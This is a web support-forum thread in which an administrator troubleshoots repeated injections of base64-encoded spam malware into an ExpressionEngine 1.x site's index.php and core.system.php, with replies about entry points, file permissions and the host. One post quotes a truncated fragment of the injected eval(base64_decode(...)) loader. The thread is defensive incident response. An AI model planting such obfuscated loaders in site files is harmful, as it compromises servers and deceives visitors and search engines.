Thread

I have an EE 1.x site for an educational institution that has been repeatedly hacked in the last several months, such that publicly browsed pages are normal, but the Googlebot sees (and indexes) “Viagra”-related text and links. I’m sure some of you are familiar with this.

The actual method of the attack is a large block of base64-encoded text inserted either into the index.php file at the Web root, or into the core.system.php file (even though our “system” directory has been re-named to a very unusual word). For either file, the encoded malware is always inserted right after the statement: error_reporting(0);

Yesterday I updated from 1.7.0 to 1.7.1, and also updated all third-party add-ons. I’m using Solspace Freeform for two forms on the site. I’ve update Freeform and also turned on EE Captcha support so that the forms now have captchas. Other than that, I can’t think of any likely attack entry points. The site is on Dreamhost shared hosting. They have been helpful about cleanup, but not about figuring out the attack vector. The FTP passwords are 20-character random strings (very strong).

Nonetheless, the core.system.php file was modified again within hours of my full EE (and add-ons) update. Because the latest two attacks have modified core.system.php in a re-named system directory, I’m wondering if the malware has been tuned specifically for EE. I’m also wondering if the database has also been hacked so that an outside entry point isn’t even necessary for the attack anymore. On this point, can someone suggest what to search for in the db, or what tables are most likely to have been hit?

Thanks for reporting this. We take security very seriously and will do our best to work with you on figuring out what’s going on. To that, we need some additional information from you…

  1. EE version and build (found at the bottom of your control panel)
  2. Other scripts on your account, whether in use or not (phpBB, etc…)*

  * If this is a shared hosting environment, the host can make a determination if the attack came through scripts on another account on the server, which is commonly the case with these types of hacks.

  While we work through this, please check through these files:

  * path.php (if using EE 1.x)
  * config.php
  * database.php (if using EE 2.x)
  * index.php

  to ensure that there is no unusual code such as iFrames or Javascript includes; if you do find that code, then please back-up the file and remove said code.  If you are unsure of what does or doesn’t belong in these files, do not hesitate to ask.

  You may also wish to refresh your files by following the build update instructions.

  Also please ensure that you report this to your host immediately as they can help identify where the attack originated from so that steps can be taken to prevent this in the future.

This is a boilerplate response, it looks like you’ve taken the steps we’d recommend, except for actually moving the site elsewhere. Is that an option for you?

No, moving the site is not really an option. The site owner is a non-profit school that’s being hosted for free by Dreamhost. They don’t want to leave that arrangement unless absolutely necessary.

Hi spacewalk,

Can you let us know whether any other scripts or systems (content management systems or blogging tools) are being used in the same hosting account? Are you running anti-virus software on your own machine? Does anybody else (to your knowledge) have FTP or SSH access to the hosting account?

Cheers

Greg

No other CMS or blogging software is running in this hosting account. There’s one other SFTP/SSH user, but I set it up and it has an extremely strong password (20 completely random characters). I’m using a Mac and have scanned my machine with ClamXav.

The core.system.php file has been modified again since I last posted here yesterday. This is clearly going to be a daily event until I figure out the entry point.

Interesting note, however: In my original post here a few days ago, I mentioned that the first attacks in April inserted the large block of base64-encoded text in the index.php file at the Web root. The recent attacks this month installed the same (or a very similar-looking) block of text, but in the core.system.php file. When I first posted here the other day, I mentioned that for *either* file, the block of base64-encoded text was inserted right after the “error_reporting(0);” statement in the EE file. So the hack looks like this:

error_reporting(0);eval(base64_decode('JGxMOXdGMWFZNHpYNmpUMWdUNmdRN2xPMGtIMGdCNW9OOG1ZOG5COHZCN3pROGNCOXNBNHpUMm1aNmhYNGFGOXRGMWNOMmNMMmtRM2NKM3VIN25TM3hINGJHOW9IMW5SOG1ENXBWOD0kbkk0a1M5ZkowZEQ2eUozdlg5bUIwZVQ2cEcweUs0elExeFIwbFk4dkgzc0Ewa1owb041a003 [this goes on for hundreds of lines in an unbroken paragraph] '));

However, I just looked at a virgin core.system.php file, and it does NOT contain the “error_reporting(0);” statement. A virgin copy of “index.php” DOES contain that statement.

To me, this suggests (but doesn’t prove) that the code from the hacked “index.php” back in April was copied and stored somewhere, and is being re-used with each attack on core.system.php. Because it’s all one unbroken paragraph, the “error_reporting(0);” statement gets inserted along with the actual malicious code.

My first thought was that it was being stored in the MySQL db (I’ve heard this to be the case with a WordPress version of this hack). I searched for “error_reporting(0);%” in the database using PHPMyAdmin, but with no result.

Thoughts?

Also, Dreamhost support is bitching at me because a number of directories have permissions set to 777. But EE installation instructions say to do this. Will anything less than 777 do?

spacewalk,

There’s one other SFTP/SSH user, but I set it up and it has an extremely strong password (20 completely random characters).

Does the other user have a PC or a Mac? One particular nasty actually grabs your FTP details from your machine and sends them to another location. Then at usually the same time every day they are used to access your host and add base64-encoded text. Can the other user run a virus/trojan check?

As a matter of course can you change the passwords please?

The other SFTP user at the client organization has probably never even logged in. But I changed the passwords for both SFTP users (20 random characters) and didn’t even inform her. And the site was subsequently hacked. So I don’t think that’s our Achilles heel, though your guess sounds very promising otherwise.

What’s the name of that particular nasty you referred to?

This question may be related to a resolved thread.

Interesting update on this: As you know, I’ve been seeking help with a repeated site hack in this EE support thread.

The hack involves injecting a large blob of base64-encoded text into my core.system.php file.

I just got hacked again, and now the build number in the EE Control Panel footer is bad again! It should be reporting “1.7.1 build 20110520,” but the footer is this:

ExpressionEngine 1.7.1 - © Copyright 2003 - 2011 - EllisLab, Inc.
Script executed in 2.1733 seconds   26 SQL queries used
Build:  20101018

When I upload a virgin core.system.php file to clean the hack, the build number in the footer is reported correctly.

Does this provoke any insight into anything?

I just verified this conclusively. My core.system.php file was hacked, and I had an EE Control Panel page showing with the incorrect build date. I uploaded a virgin core.system.php file, then reloaded the EE Control Panel page, and the build number was reported correctly.

I have a copy of the hacked core.system.php file if you want to see it.

What is the lowest level of permission I can get away with on files like core.system.php in EE 1.x?

In an effort to thwart this repeated attack on this particular site, I just set core.system.php to 555 (no write privileges for anybody) and the front and back ends of the site seem to be working. The core directory (and enclosed files) is usually 755, which is I think what the EE installation guide says. Can I go any lower? Any reason that core needs to be writable?

I understand that some files and directories must be writable—images and cache in particular. But do they have to be 777? How restrictive can I be?

Thanks for the additional information, spacewalk.

I’ll ask the dev team if they want the file, but what I suspect is that the hack was some sort of file replacement.

What if anything has Dreamhost mentioned about where this is coming from?

Changing the permissions to 555 (no one allowed to write to the file) did not stop the attack on core.system.php.

So maybe, as Sue Crocker says in this related thread, what’s happening is that the entire core.system.php file is being replaced, thus explaining why I have an incorrect build date in the EE Control Panel footer whenever this file is hacked.

This might mean that they’re not continuing to get in from outside, but rather are storing the hack somewhere in the hosting account itself. I haven’t been through the *entire* file system, but I’ve examined a lot of it and I don’t see anything abnormal. Could it be in the db itself?

Am I really the only one with direct experience of something like this?

You might be right about the replacement of the entire file, rather than the file being written to. I changed the permissions on core.system.php to 555 and it didn’t stop the hack from happening again.

I know that one person in the client organization had a weak server password in the past. We’ve dealt with that. So maybe this is a hack that is now being stored in the hosting account. But if so, I have no idea where.

So far, Dreamhost says nothing except that another hacked account on their shared server could not be the entry point.

Hi spacewalk,

That’s a good indication that the attack is coming from somewhere else. I’d strongly suggest involving Dreamhost here; they are in the best position to determine how that file is being replaced. Keep us posted!